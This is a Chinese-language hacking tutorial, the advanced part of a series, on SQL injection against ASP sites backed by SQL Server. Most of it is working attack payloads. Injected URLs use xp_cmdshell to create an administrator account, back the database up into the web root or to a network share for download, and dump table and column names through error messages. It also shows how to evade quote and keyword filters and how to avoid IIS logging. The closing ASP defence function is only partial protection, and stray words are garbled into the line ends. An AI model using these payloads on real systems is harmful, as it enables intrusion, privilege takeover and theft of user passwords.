看完入門篇和進階篇後,稍加練習,破解通常的網站是沒問題了。但若是碰到表名列名猜不到,或程序做者過濾了一些特殊字符,怎麼提升注入的成功率?怎麼樣提升猜解效率?請你們接着往下看高級篇。程序員
第一節、利用系統表注入SQLServer數據庫shell
SQLServer是一個功能強大的數據庫系統,與操做系統也有緊密的聯繫,這給開發者帶來了很大的方便,但另外一方面,也爲注入者提供了一個跳板,咱們先來看看幾個具體的例子:數據庫
① http://Site/url.asp?id=1;exec master..xp_cmdshell 「net user name password /add」--windows
分號;在SQLServer中表示隔開先後兩句語句,--表示後面的語句爲註釋,因此,這句語句在SQLServer中將被分紅兩句執行,先是Select出ID=1的記錄,而後執行存儲過程xp_cmdshell,這個存儲過程用於調用系統命令,因而,用net命令新建了用戶名爲name、密碼爲password的windows的賬號,接着:安全
② http://Site/url.asp?id=1;exec master..xp_cmdshell 「net localgroup name administrators /add」--網絡
將新建的賬號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!固然,這種方法只適用於用sa鏈接數據庫的狀況,不然,是沒有權限調用xp_cmdshell的。ide
③ http://Site/url.asp?id=1 ;;and db_name()>0函數
前面有個相似的例子and user>0,做用是獲取鏈接用戶名,db_name()是另外一個系統變量,返回的是鏈接的數據庫名。測試
④ http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:\inetpub\wwwroot\1.db’;--優化
這是至關狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,全部的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還能夠備份到網絡地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面說過,sysobjects是SQLServer的系統表,存儲着全部的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶創建的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第2、第三個表名怎麼獲取?仍是留給咱們聰明的讀者思考吧。
⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名後,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)表明該表的第1個字段名,將1換成2,3,4...就能夠逐個獲取所猜解表裏面的字段名。
以上6點是我研究SQLServer注入半年多以來的心血結晶,能夠看出,對SQLServer的瞭解程度,直接影響着成功率及猜解速度。在我研究SQLServer注入以後,我在開發方面的水平也獲得很大的提升,呵呵,也許安全與開發原本就是相輔相成的吧。
第二節、繞過程序限制繼續注入
在入門篇提到,有不少人喜歡用’號測試注入漏洞,因此也有不少人用過濾’號的方法來「防止」注入漏洞,這也許能擋住一些入門者的***,但對SQL注入比較熟悉的人,仍是能夠利用相關的函數,達到繞過程序限制的目的。
在「SQL注入的通常步驟」一節中,我所用的語句,都是通過我優化,讓其不包含有單引號的;在「利用系統表注入SQLServer數據庫」中,有些語句包含有’號,咱們舉個例子來看看怎麼改造這些語句:
簡單的如where xtype=’U’,字符U對應的ASCII碼是85,因此能夠用where xtype=char(85)代替;若是字符是中文的,好比where name=’用戶’,能夠用where name=nchar(2×××)+nchar(25143)代替。
第三節、經驗小結
1.有些人會過濾Select、Update、Delete這些關鍵字,但恰恰忘記區分大小寫,因此你們能夠用selecT這樣嘗試一下。
2.在猜不到字段名時,不妨看看網站上的登陸表單,通常爲了方便起見,字段名都與表單的輸入框取相同的名字。
3.特別注意:地址欄的+號傳入程序後解釋爲空格,%2B解釋爲+號,%25解釋爲%號,具體能夠參考URLEncode的相關介紹。
4.用Get方法注入時,IIS會記錄你全部的提交字符串,對Post方法作則不記錄,因此能用Post的網址儘可能不用Get。
5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也能夠用這種方法,只須要二者之間的區別便可,可是若是能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提升。
防 範 方 法
SQL注入漏洞可謂是「千里之堤,潰於蟻穴」,這種漏洞在網上極爲廣泛,一般是因爲程序員對注入不瞭解,或者程序過濾不嚴格,或者某個參數忘記檢查致使。在這裏,我給你們一個函數,代替ASP中的Request函數,能夠對一切的SQL注入Say NO,函數以下:
Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字符型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數爲字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If ParaValue="" or not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須爲數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
文章到這裏就結束了,無論你是安全人員、技術愛好者仍是程序員,我都但願本文能對你有所幫助。若是有什麼疑問或想與我討論相關問題,歡迎到www.54NB.com 向提出,謝謝你們!